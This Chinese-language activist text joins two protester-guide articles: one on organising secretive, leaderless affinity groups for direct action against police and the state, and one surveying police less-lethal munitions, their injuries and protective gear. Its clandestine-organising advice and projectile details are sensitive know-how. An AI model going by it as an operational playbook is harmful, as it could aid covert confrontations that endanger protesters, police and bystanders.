酒肉朋友总是想要从对方身上*获得*些什么，而是期待*给予*。虽然酒肉朋友之间也可能有一些共识，甚至有共同的奋斗目标，但能确保他们协调一致地行动的唯一依赖项是，每个人都能明确地有所得。

这在直接行动中是难以保证的和不现实的，行动中唯一可确定的就是风险，包括收益在内的一切都是不确定的；在这种情况下团队需要的是奉献和彼此保护的积极，而不是索取。只有亲密的感情能做到这点。

2、亲密团队不是圈子 —— 也许圈子会让您想到紧密、内部默契、协调性、共同嗜好和一定程度上的共识等特征，这些基础条件似乎有可能形成亲密团队，但这两者的组织结构是完全不同的。

由于在圈子中，人们以排斥圈外人为主要凝聚内部的手段，于是圈子是封闭的和不自由的；圈子经常有一个或多个“领导者”，有明确的或不言自明的等级制度，大多数成员都需要围绕圈子的“中心”行事，独立思考将被边缘化甚至被排斥。这在亲密团队中是不会发生的。

亲密团队必需组合自由，绝不会依靠排外来促进凝聚力，凝聚力来自精神、信念和彼此的爱；没有领导者，或者说每个人都是领导者，这样才能真正充分发挥每个人的潜力、灵活的机动性和创造力。这是反抗行动者相比官僚主义和等级森严的镇压部队所拥有的绝对优势。

3、亲密团队更像是一支乐队 —— 成员不需要追求在各方面保持一致，只需要在具体的行动意向上具有强烈的共识（演奏这支曲子）。他们彼此了解各自的优势和劣势，知道自己可以从对方身上获得什么、以及自己可以提供给对方什么；他们各自有自己的角色，知道自己的权限，尤其是知道自己如何和队友协作才能完成任务。

下面具体解释。

不论您想要采取哪种行动，重要的第一步是要先组织起来。单枪匹马是无法成功的。

但组织起来并不意味着加入一个已有的机构，接受命令；它不应该意味着放弃您自己的智慧成为另一台机器上的一个齿轮。从行动者的角度来看，组织结构应该最大限度地提高自由和自愿协调的程度，从最小的群体到整个社会的规模。

您和您的朋友们已经构成了一个亲密团队，是这个模式的基本构件。亲密团队是一个小型的密切的朋友关系网络，每个人把自己理解为一

种自主的政治力量。这个想法是，已经相互了解和信任的人应该一起工作，对新出现的情况做出及时的、明智的和灵活的反应。

📌 这种无领导的形式已被证明对各种游击活动有效，也对兰德公司所说的“蜂群”战术有效，在这种战术中，许多不可预测的自治团体压倒了一个集中的强大对手。

你们中所有人都应该带着对自己的目标和能力的认识，以亲密团队的形式去参加每一次行动。如果您在一个具有共同行动经验的亲密团队中，您就会有更好的准备以应对紧急情况，并充分利用意想不到的机会。

亲密团队是强大的

「图」

它的规模可能很小，但是亲密团队可以产生不成比例的强大影响。与传统的自上而下的结构不同，亲密团队可以自由地适应任何情况，它们不需要通过复杂的批准程序来做出决定，所有参与者都可以立即行动和作出反应，而不需要等待命令—— 尤其是，每个人都清楚地知道彼此的期望。

亲密团队所建立的相互钦佩和鼓舞，使他们很难士气低落。与资本主义、法西斯主义的结构形成鲜明对比的是，亲密团队的运作不需要任何等级制度或胁迫。参加亲密团队可以让人感到充实和乐趣，也可以体验到切实的成效。

📌 最重要的是，亲密团队的动机是共同的愿望和忠诚，*绝对不是*利益、责任、或任何其他补偿性的或抽象的东西。整支防暴警察小队都能被高度协调性行动的亲密团队所阻挡。

亲密团队完全可以是一种灵活的模式

「图」

一些亲密团队是正式的、沉浸式的：所有参与者就生活在一起，分享一切共同的东西，并且这还是一种治疗虚无主义和绝望的方法，比如这里《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》。

但亲密团队并不一定必需是一种永久性的安排。它可以作为一个方便

的结构，在特定项目期间把感兴趣的和值得信赖的人组合起来。不过请记得，如果您担心被谴责为中文里所描述的“用人朝前”，您需要努力调整您的组织措施。

一个特定的团队可以作为一个亲密团队不断地在一起行动，但其成员也可以分成更小的亲密团队，参加其他团队的行动，或在亲密团队结构之外行动 —— 这并不是分化！这与分化有着天壤之别；分化是不可逆的，从心态上表现，而自由组织的亲密团队是随时可逆的，一切以任务为中心。

📌 按照每个人认为合适的方式自由结社和组织，是行动的基本原则；这促进了冗余，因此没有哪个人或哪团体对整体的运作至关重要 —— 否则就会很被动，也给了你们的对手一个重点打击目标的提示，因为你们在各方面只有一个“要害部位”。

不同的团体应该可以根据需要进行灵活的重组；每个重要部位都应该有替补队员，而亲密团队之外的其他人不应该知道替补者和队友的角色分配。亲密团队是一种灵活的模式

挑选适合自己的标准

「图」

根据您的行动目标，一个亲密团队的人数可以从两个人到十五个人不等。然而，任何团队的人数都不应该太多，您必需能够确保随时可以就紧迫的问题进行非正式的交谈 —— 人太多就不容易召集对话了。

如果需要的话，您可以随时分成两个或多个小组，就像我们在“整体安全”教程中介绍的游戏和练习题所体现的那种团队结构。

比如，在需要驾驶的行动中，最简单的制度往往是每辆车上都有一个亲密团队，也就是说，在遇到突发状况时，一辆车上的人们可以不假思索地展开协调性行动。因为他们的协调已经很熟练了。

互相深入了解

「图」

在组建亲密团队时，首先要了解对方的长处、弱点和背景，这样您就知道您可以依靠对方什么、可以提供给他人什么。

📌 讨论你们对所进入的每一种情境的分析，以及在其中值得完成的事 —— 确定您的队友在哪些方面一致，在哪些方面相得益彰，以及在哪些方面存在差异，这样你们就能在瞬间做出决定。

培养政治亲密感的方法之一是一起阅读和讨论文本，但没有什么比实地经验更重要的了。开始的时候要慢慢来，这样才不会过度扩张。一旦你们建立了共同的语言和健康的内部动力，你们就可以确定想要实现的目标，准备一个计划，并付诸行动。

决定对您来说适当的安全级别

「图」

📌 亲密团队能够抵御当局的政治渗透，因为所有成员之间都有共同的基本历史和亲密关系，不需要向团体外的任何人通报他们的计划或活动。每个人都了解并能够熟练执行《安全文化》这是最重要的！

亲密团队一旦组建起来，就应该建立一套共享的安全文化实践，并坚持实践下去。在某些情况下，您可以对您的活动公开透明；而在其他情况下，无论在团队内部发生了什么，都不应该在团体之外谈论，即使所有的活动早已完成。

📌 在某些情况下，除了亲密团队的参与者之外，任何人都不应该知道这个亲密团队的存在。您和您的队友们可以讨论和准备行动，而不向外人承认你们构成了一个亲密团队。

记住，从高安全协议到低安全协议的过渡、比从低安全协议到高安全协议更容易。

一起做决定

「图」

亲密团队一般通过协商一致的决策来运作：根据每个参与者的需要和愿望集体做出决定。在民主投票中，多数人各得其所，少数人必须保持沉默，这对亲密团队来说是非常可怕的，因为如果一个团队要在压力下顺利运作并保持团结，就必须让每个参与者都满意。

在采取任何行动之前，团队的所有成员应该一起确定他们的个人目标和集体目标是什么，他们愿意承担什么风险，以及他们对彼此的期望是什么。这些事项确定后，这个团队就可以制定一个计划了。

由于行动中的具体情况总是无法预测的，计划也很少能如期而至，因此，采用双管齐下的方法来准备可能会有帮助。

📌 一方面，您可以针对不同的情况制定计划。如果A发生了，我们将通过X手段通知彼此，然后转为B计划；如果X手段无法及时联络彼此，我们将在Q时间在Z地点重新召开会议。

📌 另一方面，您可以设置一些结构，即使发生的情况与您想象的任何情况都不一样，也会有用。这可能意味着准备资源（如横幅、医疗用品、或进攻设备），划分内部角色（如侦察、通信、医疗、媒体联络等），建立通信系统（如一次性电话或可以喊出的暗语，以安全地传递信息），准备一般战略（如在混乱的环境中保持彼此的视线），绘制紧急逃生路线，或准备法律支持，以防有人被捕。

行动结束后，一个精明的亲密团队将举行会议—— 必要时，在一个没有任何电子设备存在的安全地点—— 讨论哪些方面进展顺利，哪些方面可以做得更好，以及下一步的工作。

📌 在我们的 “整体安全” 教程中看到全套的安全文化实践，按照上述步骤展开；在这里看到浓缩的概述《直接行动分步指南》。在混乱的抗议环境中，紧密联系的亲密团队采取的行动更加安全

存在于一个更大的整体中

「图」

亲密团队只对自己负责，这是它的优势之一。亲密团队不受其他组织的程序性协议的约束，没有与陌生人达成协议的困难，也不受向没有直接参与行动的机构作出答复的限制。

同时，正如一个亲密团队的成员彼此之间努力达成共识一样，每个亲密团队也应该努力与其他个人和团队建立一种类似的体贴关系——或者至少是补充别人的方法，即使别人不承认这种贡献的价值。

理想的情况是，大多数人应该对您的亲密团队的参与或对某一情况的干预感到高兴，而不是怨恨或害怕你们。他们应该认识到亲密团队模式的价值，因此在看到它的成功并从中受益后，自己也会采用这种方法—— 这是需要也只能有您和您的队友做到的。

与其他亲密团队一起组织

「图」

一个亲密团队可以与其他亲密团队一起工作，有时被称为集群。集群的形成使更多的人能够以单个亲密团队所具有的同样优势采取行动。

如果要求速度或安全，每个团队的代表可以提前开会，而不是所有团队的所有成员；如果协调是最重要的，各团队或代表可以安排一些方式，通过行动的热度进行沟通。

📌 经过多年的合作，不同的亲密团队可以像了解自己的队友一样了解彼此，相应地在一起变得更加自如和有能力。

当多个亲密团队的集群需要协调特别大规模的行动时—— 例如，在一次大规模的示威游行之前，他们可以举行一次发言人聚会，在会议上，不同的亲密团队和集群可以相互告知自己的意图（不管明智程度如何）。

这样的聚会很少能产生无缝的一致意见，但是，它可以让参与者了解各种不同的愿望和观点。权力下放所带来的独立性和自发性通常是我们与装备更精良的对手/镇压者作战时的最大优势。

底线

「图」

为了使基于共识和合作的亲密团队和更大的结构发挥作用，每个参与的人都必须能够相互信赖，履行承诺。

当计划达成一致后，团队中的每个人和集群中的每个团队都应选择计划编制和执行中的一个或多个关键环节，并提出为其底线。

📌 对资源的供应或项目的完成设置底线，也就是说要保证无论如何都能以某种方式完成的程度。如果您在示威期间负责为您的团队成员管理法律热线，您就有义务确保即使您自己生病了/受伤了/出了什么意外，也有人能处理这项工作，不会误事；如果您的团队承诺为一次行动提供横幅标语，您就有义务确保它们已经准备好了，即使这意味着前一天晚上要熬夜干通宵。答应下的事就必须做到，不论怎么去做。“确保做到”的程度—— 就是底线。

随着时间的推移，您将会学会如何处理危机，以及在危机中您可以依靠谁 —— 就像其他人会了解他们可以依靠您的程度一样。

行动起来

「图」

不要再想会发生什么，或者为啥什么都没有发生。您需要和朋友们聚在一起，开始自己决定会发生什么。📌 离开被动的旁观者模式，不要再等待别人告诉您该怎么做。养成讨论您自己希望看到什么发生的习惯，并学习保持信心将这些想法变成现实。

如果没有一个鼓励想法流向行动的结构，如果没有能够一起集思广益、蓄势待发的队友，您很可能会陷入瘫痪，与自己的大部分潜能隔绝；而有了亲密队友，您的潜能可以成百倍、万倍地增长。

“永远不要怀疑，一小群有思想、有决心的人可以改变世界”，人类学家玛格丽特-米德写道：“这是唯一的可能性”。不管她是否知道，她指的正是亲密团队。如果每一个反对国家和现状的行动中的每个人都作为一个紧密联系的、专门的亲密团队的一部分参与进来，革命将在短短几年内完成。

亲密团队可以是一个缝纫爱好者小组，也可以是一个自行车维修小队；可以是为了给占领区为活动家提供一顿饭的厨师小组，也可以是为了通过精心策划的行动计划迫使一家跨国巨头公司破产。

亲密团队种植和保卫社区的花园，建造和占领建筑物，组织邻里托儿计划和野猫罢工；个别亲密团队经常在视觉艺术和流行音乐领域发起革命。

您最喜欢的乐队就是一个亲密团队。

让五个人相遇，他们将迸发决心行动的闪电而不是生存的痛苦 —— 从那一刻起，绝望结束，战术开始。〇

—— 未完待续 ——

原文

了解防暴弹药，以及如何保护自己 ：示威参与者指南（10） - iyouport

示威参与者指南

【2021年6月8日存档】在全世界，恐吓都是为统治阶级服务的雇佣军的主要武器。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》
- 《了解防弹衣：示威参与者指南（8）》
- 《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》

除了用警棍打人之外，镇压者最喜欢干的事就是向抗议的人群发射钝器和化学武器。武器制造商不断开发新的方法来远距离攻击人们 —— 而纳税人不断为他们的压迫者购买新的玩具。

本集内容旨在提供对低致命性镇压武器的概述 —— 包括化学武器和冲击弹药。警察自己也不屑于区分这两种武器。我们将介绍化学武器，如催泪瓦斯和胡椒喷雾；也将介绍冲击性武器，如防暴子弹、橡皮子弹和胡椒球。我们将介绍警方使用这些武器的系统，包括气枪、喷雾、榴弹，榴弹发射器、和猎枪。还将介绍警察在逮捕抗议者时做标记的方式—— 以及他们可能不做标记的方式。

不要错过此前第6集内容《警用武器常见伤害及基本处理方法》，可以结合本集内容来阅读。

📌 这可能是一个可怕的主题。但请记住 —— 镇压者的目的不是用塑料子弹打我们，也不是用化学品喷我们；他们的目的是让我们生活在恐惧中，他们希望我们呆在家里，与世隔绝，让他们的权威绝对化、永久化、不受挑战。每次我们一起上街，当权者都无法实现他们的目标。每次我们拒绝让恐惧支配我们的行为时，当权者都会失败。

（以下视频是缅甸抗议者最近对盾牌用法的演示）

本集内容将简单地触及如何通过防毒面具、盔甲、盾牌等防护工具来保护自己，前面几集的内容已经详细探讨这些选择。但能保护我们免受警察侵害的最重要工具是：团结。我们彼此是必须保护对方安全的人。示威前线的一个盾牌可以保护很多人；一个愿意在火线救治的医护人员，可以保护很多人；几个亲密团队的伙伴冒着坐牢的危险把警察逼退，可以保护更多人 …… 我们对付防暴弹药最好的保护方法就是我们彼此之间的爱。

勇气不是没有恐惧；而是在恐惧的情况下采取正确的行动。团结起来，我们就能克服恐惧。

关于标准化和监督

「图」

没有发现任何证据表明政府对警察获准使用何种武器平息内乱有任何监督。据一位专门从事这一领域工作的律师说，比如在美国，大约18,000个机构中的每一个机构都有自己的使用武力准则，详细规定了关于其官员可以对老百姓做什么的内部标准。也就是说，它并没有一个统一的可查的标准。

没有发现任何机构认证化学武器中使用的化学成分是什么；任何特定的化学武器制造商都会选择他们自己的结合剂和化学添加剂；似乎没有一个简单的方法可以知道当警察使用这些武器瞄准我们时，我们接触到的究竟是什么化学品。网络上常见的抵制化学武器的那些参考资料也许并不实用。

虽然这不应该让我们退缩和屈服于专制主义，但重要的是要记住，这些武器与实弹相比，只是“杀伤力较小”。

但规律还是有一点的。促使这些武器标准化的因素只有两个。第一是使用现有弹射系统的武器（如37毫米发射器）比需要全新训练和武器装备的奇葩系统更容易被广泛采用；二是制造商往往会互相模仿创新。

虽然政府显然没有提供监督，但它偶尔也会提供意见和建议 —— 例如，2004年这本有些过时的低致命性武器手册。

冲击性弹药

「图」

警察用各种武器发射各种钝力弹。制造商和警察部门有时将这些弹丸称为 “钝力冲击弹” (BIPs) 或 “动能冲击弹” (KIPs)。“橡皮子弹” 只是众多变种中的一种，它们的大小、威力、成分、发射方式和杀伤力各不相同。

制造商向镇压机构进行的推销强调了通过发射获得令受试者服从的能力，而伤害或死亡的风险最小。所有的学术研究 —— 更不用说我们的亲身经历了—— 都表明，这两种说法都不正确：反冲锋弹药经常使抗议者致残或死亡，而且它们很少能成功地驱散示威活动。它们在阻止社会运动方面的效果更差；通常情况下，当我们中的一个人失去一只眼睛或头骨骨折时，更多的人就会走上街头。

一些比较常见的冲击性弹药包括：防暴子弹，塑料、泡沫、凝胶甚至木质弹丸，由多管发射器发射，偶尔也有用猎枪发射的；橡皮弹子、涂有橡胶或PVC的金属弹丸；豆袋弹，装满二氧化硅或铅珠的编织袋，通常由猎枪发射；胡椒球，本质上是装满胡椒喷雾的漆弹；**FN303**弹，是胡椒球和普通冲击性弹药的组合；橡胶球，是橡胶或塑料或泡沫颗粒，装入榴弹中，它们会像弹片或枪弹一样爆炸；当然还有老式的毒气罐 (带有化学制剂或烟雾)，理论上它不是用来直接向抗议者发射的，但镇压者经常这样做。

与流行的说法相反，大多数现代冲击性弹药是为 “直射” 而不是 ”跳射” 而设计的；直射弹药是为了直接射杀个人，而跳射弹则是为了在地面弹跳从而进入人群。催泪弹罐一般用于近距离的跳射或向空中以25–30度的弧度发射，以获得最大的射程；它们的额定值不应该被用于直射。有些样式的警用防暴子弹分裂成多个弹丸，是为了以跳射方式设计的，以使弹丸分布更广，而另一些则是为了在抗议者的头顶上发射，以便将化学制剂洒下来。全尺寸的木制防暴子弹和一些橡胶子弹似乎也是为跳射设计的，但总的来说，跳射的准确性较低，也不常

见。

📌 防暴子弹、橡皮榴弹和豆袋弹都会伤人，偶尔，它们会使人致残或—— 直接使人死亡。然而，在警察使用的所有镇压工具中，它们是最不能有效阻止示威的一些工具。防暴子弹不能逮捕你；它也不像一团毒气那样迫使人群驱散。

射程冲击性武器主要依靠制造疼痛而强迫顺从。虽然这可能对个人有效，但仅靠疼痛通常无法迫使坚决的人群服从。冲击性弹药的影响可以通过防护装备来减轻，包括盾牌、盔甲、头盔、护目镜、路障，甚至雨伞。

冲击性武器的有效性首先依靠的是人的恐惧，而通过心理准备和相互支持，我们就可以抵御恐惧。我们可以选择拒绝顺从于恐惧。在全世界，恐吓都是为统治阶级服务的雇佣军的主要武器

常见损伤

「图」

冲击性弹药表面上是为了伤人，强迫人们屈从而不造成重大伤害。但是，它们并不安全。

现有数据非常多，最大的研究来自2017年，包括来自世界各地许多其他研究的信息。但其数据中的很大一部分 —— 约41%—— 描述了橡皮子弹的使用情况。在研究中，橡皮子弹在严重伤害中占据了绝大比例，在死亡人数中也占了稍大的比例。研究发现，在遭受冲击性弹药受伤的人中，有3%的人因此而死亡。

2017年的研究发现，大部分重伤和死亡是头部或颈部受到冲击的结果。2000年的一项规模较小的研究发现，大多数死亡是撞击胸部的结果（导致肋骨断裂，刺穿心脏或肺部）。

除发射的弹药类型外，决定伤害严重程度的最重要因素是发射的距离和受害者获得医疗救助的速度。例如，10英尺以内的攻击造成的骨折最多。另外，街头医护人员也能挽救生命。

冲击性武器最常见的伤害是强烈的瘀伤。而尽管警察缺乏能力，行为不受惩罚，但似乎大多数冲击性弹药确实瞄准了它们应该瞄准的地方，腹部或下部，那里不太可能发生严重伤害。

偶尔也会有镇压部队直接向人的身体发射旨在突破门等障碍的弹丸，大概是不小心发射的，那样就会发生伤亡。

乔治·弗洛伊德起义三周后，美国眼科学会报告说，在抗议活动中，至少有20起严重的眼伤是由冲击性武器—— 包括防暴子弹、豆袋弹和胡椒球、以及催泪弹—— 造成的，其中有一起是由泰瑟枪造成的。其中包括7次有人因这种事件而失去眼睛的情况，是的，瞎了；还有很多人在等待手术，不知道是否能保住眼睛。在今年的一起案件中，一名记者因一枚弹丸打破了他的防毒面具的保护镜片，导致眼睛严重受伤。

世界各地的医学专家一直在并继续呼吁在警务工作中废除冲击性弹药。在今年的美国反抗运动中活动家制作的呼吸器简介

保护

「图」

📌 根据街头经验和研究分析，最需要保护的部位是头部、眼睛、脖子和胸部。头盔、gorget、运动装甲胸甲以及防撞镜、面罩或防毒面具都可以起到保护作用，有可能与盾牌相结合。颈部是这些部位中最复杂的保护部位，大多数人从来没有听说过 “gorget” 这个词，更不用说想象在抗议警察的时候戴上一个了。基本上，gorget 是击剑手佩戴的一种颈部盔甲。目前还没见过有人在示威活动中戴着它。

【注：gorget 是用于保护喉咙的钢或皮革项圈，一组板甲或从颈部垂下并覆盖喉咙和胸部的单片板甲。后来，特别是从18世纪开始，它成为军服的象征性配饰，这种用法在一些军队中得以幸存。】

我们将在以后的文章中详细讨论盾牌。在这里只想说，为了抵御冲击性弹药，盾牌必须足够坚固，能够抵御子弹的穿透，足够坚硬，能够将冲击力分布在大面积的表面，并且在持盾者身体接触到的地方有泡沫支撑。3/8” 厚的胶合板就足够了，不过1/2” 可以承受更多的冲击性武器。交通锤塑料能很好地抵抗穿透力，但力量分布不均，不过它比木头轻得多。请记住，没有哪种盾牌能让您坚不可摧。

大多数伤害发生在腰部以下。经验上看，训练有素的警察更喜欢射杀示威者的膝盖骨。有鉴于此，可能值得考虑穿戴护膝或更完整的运动装甲，与其说是为了避免永久性伤残或死亡，不如说是为了保持机动性、有效和不受伤。

盾牌和路障也可以帮助减轻所有这些潜在的伤害。

了解弹道学

「图」

要了解冲击力，我们必须先了解动能。

动能，在弹道学中常被称为枪口能，以焦耳（或以英尺-磅为单位）来衡量。它是由物体的速度和它的重量推导出来的，速度的重要性是指数级的。确定弹丸动能的公式是 Ek ＝ (1/2)mv2，Ek代表能量（动能），m代表质量，v代表速度。

我们都不是工程师，但在写这篇文章的过程中，我们咨询了几个人。基本上可以理解为焦耳用来衡量“我被击中了多少”这个问题的答案。一个以90英里/小时的速度扔出的棒球可能有120焦耳；一发警用防暴子弹可能有240焦耳，于是它击中您的力度是棒球的两倍。一支点22步枪可能也会发出240焦耳的弹丸，但警用防暴弹是一种钝性冲击，而步枪子弹是为了穿透。9毫米手枪可能发射470焦耳的子弹，AR-15的子弹是1850焦耳，而12毫米口径猎枪的弹头可能接近4500焦耳。如果一个180磅重的人从15英尺高的地方摔下来，他落地时大约有4000焦耳。一辆飞驰的汽车呢？大约20万焦耳。

然而，我们大多数人宁愿被防暴子弹击中，也不愿被.22口径的子弹击中。但焦耳远不是一个特定弹丸所能造成的伤害的全部。它击中您的表面积 (每平方米的焦耳数)、击中您的角度、击中您的身体位置、以及物体的成分 (例如，木制的防暴子弹比胶质防暴子弹吸收的自身冲击力要小) 都更重要。在一项研究中，当以一定角度施压时，只需要375焦耳就能将骨头打碎，而以其他角度施压时，打碎同样的骨头需要9920焦耳。

由于速度对能量的影响比弹丸的重量更重要，所以弹丸击中目标的能量在距离上会迅速下降。速度较快的物体往往比速度较慢、重量较大的物体携带更多的动能。

从各种武器所能提供的能量以及各种防护装备所要接受的冲击测试开始，是很有用的。我们发现有一份军事文件提到75焦耳的“国际公认杀伤力限度”。但这些因素并没有给我们提供足够的信息以了解特定的弹丸会对特定的目标产生怎样的影响。在针对各种防护装备测试各种冲击弹药的同时，希望听到您能够分享的关于不同形式的射弹防护效果的任何轶事或研究。

防暴子弹

「图」

- 材料构成：塑料、泡沫、凝胶、木头
- 发射方式：主要是37/40毫米发射器，一些12毫米口径猎枪
- 速度：大多数似乎在 300fps（每秒英尺）左右，有些例子高达 650 fps
- 能量：一个例子是244焦耳
- 射程：取决于广泛的构成，但总体宣传的射程在1.5米至80米之间

防暴子弹有多种形状、大小和材质，但它们基本上是大块的物体以制造痛苦。它们往往是大口径的 (37毫米和40毫米)，这样它们就能产生尽可能大的威力，同时又不会穿透皮肤。许多防暴子弹还包括某种有效载荷，如化学剂或标记染料。

大多数被称为 “橡皮子弹” 的弹丸可能都是防暴子弹。没有必要迂腐地纠正人们的观点，但为了本文的目的，我们要做出区分，并将其称为防暴子弹。

防暴子弹最常见的材料是塑料、泡沫、凝胶和木头。虽然品种太多，不一一列举，而且不同的厂家使用不同的材料用于不同的用途，但总体看来，泡沫弹往往是用于短距离射击的，而塑料和木头则是用于长距离射击的。凝胶弹和 “可压缩头” 的塑料弹一样，都被宣传为在短距离或长距离上有用。当然，很难想象镇压部队真的会想清楚到底要用哪种子弹来达到哪种战术目的，尤其是在混乱的情况下，可以肯定的是，他们在任何范围内都会发射这些子弹。他们手头有什么就会发射什么。40毫米泡沫防暴子弹

防暴子弹通常在每个弹壳内装有多个弹丸，这些弹丸被设计成可以分裂。

有些防暴子弹在弹体或发射器的枪管内有膛线，以使弹丸自旋稳定，从而提高精确度。多数似乎没有。虽然每种防暴子弹的额定射程不同，但大多数似乎是为2至40米之间的使用而设计的；只有少数品种的设计射程可达80米。

直射的防暴弹理论上应该是瞄准人的肚脐、大腿、臀部或膝盖——虽然如前所述，期望警察以此为限绝对是个错误。

大多数被防暴子弹击中的人只是留下了一个恶心的伤口，然而防暴子弹致残和致死的情况也时有发生，特别是当它们击中人的脸部时。7月，波特兰警方用防暴子弹射中了一名26岁的抗议者的脸部，而当时他的手是举着的。我们认为那发子弹是 Sage International 37毫米KO1子弹。这一击使他的头骨骨折，几乎丧命，必须进行手术。

此外，还有12号猎枪防暴子弹。这些大多是各种橡胶弹丸，它们有翅片，看起来就像小型导弹。例如一个重6克的子弹，要以426 fps的速度发射，总力道为51焦耳。我们发现了一个视频，有人把子弹装错了，结果以三倍的速度射击。并且已经看到一些证据表明，警察在美国的抗议活动中使用了这些武器。

防暴子弹似乎是英国人发明的，用于他们在爱尔兰的殖民项目，因为他们当时使用的橡胶子弹杀伤力太大。塑料防暴子弹仍然会杀害殖民对象，但速度较慢。

现代的防暴子弹往往含有一种或多种化学武器，其中最常见的是OC（胡椒喷雾）和CS（普通催泪弹物质），不过CN（更危险）也被使用。有些防暴子弹还含有标记化合物，就是射中身上很难洗掉，以此来在事后追踪抗议者的身份。37毫米木质防暴子弹

橡胶球

「图」

- 构成：硬橡胶
- 发射工具：榴弹发射器、37/40毫米霰弹筒、12口径猎枪，可能是.68口径的气枪
- 速度：可变
- 能量：用猎枪发射时为30–200焦耳，其他样式不详。
- 范围：变化较大

橡胶球有些是单独发射的，或者更多的时候是装在猎枪弹、多管火箭弹、或榴弹中。它们发射出来的子弹很疯狂，伤人程度难以预料。品牌名称包括“毒刺”（Stinger）、“刺球”（Sting-ball）和“马蜂窝”（Hornet’s Nest）；它们有时被笼统地描述为橡胶弹。

我们发现了几种常见的橡胶球的口径：.32口径和 .60口径（也就是 .32” 和 .60″），在榴弹和较大的弹罐中很常见，而橡胶弹似乎有 .33″。有些霰弹枪的子弹里装着1到3个.68” 的橡胶球。

根据一家制造商的说法，橡胶球武器被认为是在其他杀伤力较小的选择失败时的最后手段。这可能是因为橡胶球在攻击谁和在哪里攻击都是不可预测的。

有可能，虽然我们还无法确认，但在美国，人们所说的橡胶弹大多是口径较大的橡胶球。组合战术系统在波特兰市很常见 —— 据推测，8月份警察就是用这种手段打断了某个抗议者的手指。据传闻，很多橡胶球似乎都会走火，因为示威者发现了大量部署不当的弹筒。一个橡胶球榴弹

据推测，过期的橡胶球随着时间的推移会失去一些弹性，变得更加危险。

橡胶球也被装入手榴弹中，就所有其他用途而言，它的功能是闪光爆炸式榴弹那种：利用声音和光来分散人们的注意力的迷惑性装置。我们看过的一款榴弹，ALS马蜂窝刺痛榴弹，可以装180个.32口径的球，在5英尺处产生1–2万坎德拉的闪光和130分贝的爆炸声。

橡胶球的移动非常混乱，在地上引爆的榴弹很容易将弹丸射向抗议者的脸和眼睛。

📌 这些榴弹绝对不安全，不应接住或扔回去。12口径橡胶弹

豆袋弹

「图」

- 组成：硅或铅在凯芙拉或其他织物中包裹的弹丸
- 发射方式：大多数是12毫米口径猎枪，但也有37/40毫米发射器
- 范围：20–35英尺
- 速度：大约270 fps
- 能量：一个12口径的例子是146焦耳

豆袋弹是装满金属或二氧化硅的袋子。平均来说，它们比防暴子弹的使用距离更近；它们更经常用于建筑物内射击 —— 特别是监狱内。每个制造商和每一发子弹都会有所不同，但大多数似乎是为了在20–35英尺之间使用。有些豆袋弹是 “拖动稳定” 的，以保持其整个有效距离内的准确性。它们由37毫米和40毫米发射器和12口径猎枪发射。

制造商的指南表明，使用豆袋弹需要2–3次射击才能使目标丧失行动能力。在混乱的情况下使用它们时，通常不是为了使人丧失能力，而是为了给人群造成心理冲击。

在论坛上看到一位警察讲述了一个人服用PCP后，在34发豆袋弹中幸存下来的故事（虽然有一发子弹打碎了他手上的骨头）。网络论坛上的警察经常吹嘘自己如何用豆袋弹射杀菜鸟，让他们晕头转向。

【注：PCP是苯环利定或苯基环己基哌啶，也叫天使尘，是一种因其改变思维的作用而使用的药物。PCP可能导致幻觉，声音感知失真和暴力行为。是一种娱乐性毒品】40毫米豆袋弹

橡皮子弹

「图」

- 构成：橡胶或尼龙或PVC涂层的钢、或橡胶和二氧化硅的硬性物质构成
- 发射方式：多种多样

迄今为止，我们对橡皮子弹的研究不如对其他子弹的研究更有定论。从历史上看，用于控制人群的橡胶弹有两种形式：一种是涂有橡胶的金属弹丸，如英国占领者在北爱尔兰广泛使用的那种；另一种是由大约**20%**的橡胶和**80%**的二氧化硅的混合物制成的硬弹丸，如以色列占领者在巴勒斯坦普遍部署的那种。

美国的警察是用橡胶球来射杀人的，有人猜测**2020**年华盛顿特区的警察已经使用了多年来害死很多人的钢芯弹种。

由于在2017年对低致命性武器的研究中，金属芯弹丸在致死和致残中占比过高，这值得进一步调查。

还有一些子弹形状的橡胶弹，设计成可以从9毫米手枪和大概其他所有常见枪支口径发射。但由于这些是由普通枪支发射的，所以似乎还没有找到进入警方防暴武器库的途径。到目前为止追踪到的唯一一家制造这种子弹的制造商是在加拿大：**Lamperd Less Lethal**。📌 最安全的假设是，您看到的警察携带的步枪和手枪都装有实弹。

弹丸和漆弹

「图」

越来越多的致命性较低的弹药是由 0.68” 口径的气枪—— 也就是漆弹枪发射的。

虽然这两种都是作为冲击性弹药使用的，但它们都有各自的发射器，所以我们会在下面的 “发射器” 部分进一步介绍它们。然而，法西斯分子最近已经采用漆弹枪作为街头冲突的有利工具，有很多传言说他们使用的是冷冻漆弹，但我们怀疑他们可能使用的是橡胶球。

冷冻漆弹在漆弹界几乎是个神话，因为当地媒体谎称它们是万圣节破坏者青睐的工具。漆弹在家用冰柜中冷冻48小时，并不会冻成固体，它们只是变得稍微脆一点，粘性大一点，而且很快就会解冻。而在干冰中冷冻的漆弹则更加坚固，有潜在的危险性，但射击时却很笨重。液氮冷冻的漆弹和冰一样硬，但非常脆，几乎不可能装填和发射。所有的冷冻漆弹都会变得不那么准确—— 因为弹壳变得更粘稠—— 但刺激性更强。

在世界上一些地方，由于自卫用的枪支不那么普遍，气枪有时被用来提供近乎致命的力量，发射的弹丸包括固体橡胶或PVC涂层的钢球，如上面橡胶弹下列举的那些，有时被称为 “玻璃破碎机” 球。这些弹丸当然可供警察部队以及平民使用；它们可以从任何漆弹发射器中发射。“Glass breaker”

Antifa 活动家泄露了2020年在波特兰的极右翼通讯记录，显示至少有一名极右翼民兵讨论了使用冷冻漆弹的问题，但指出其缺乏准确性。他建议改用玻璃破碎球，如上文详述。

还有一些气枪发射的自卫弹，使用像 First Strike 这样的D型弹。First Strike 是一种从弹匣而不是弹斗中发射的漆弹弹种，旨在提高精度。同样的系统已经被改造成可以发射橡胶弹丸，其威力足以致命。

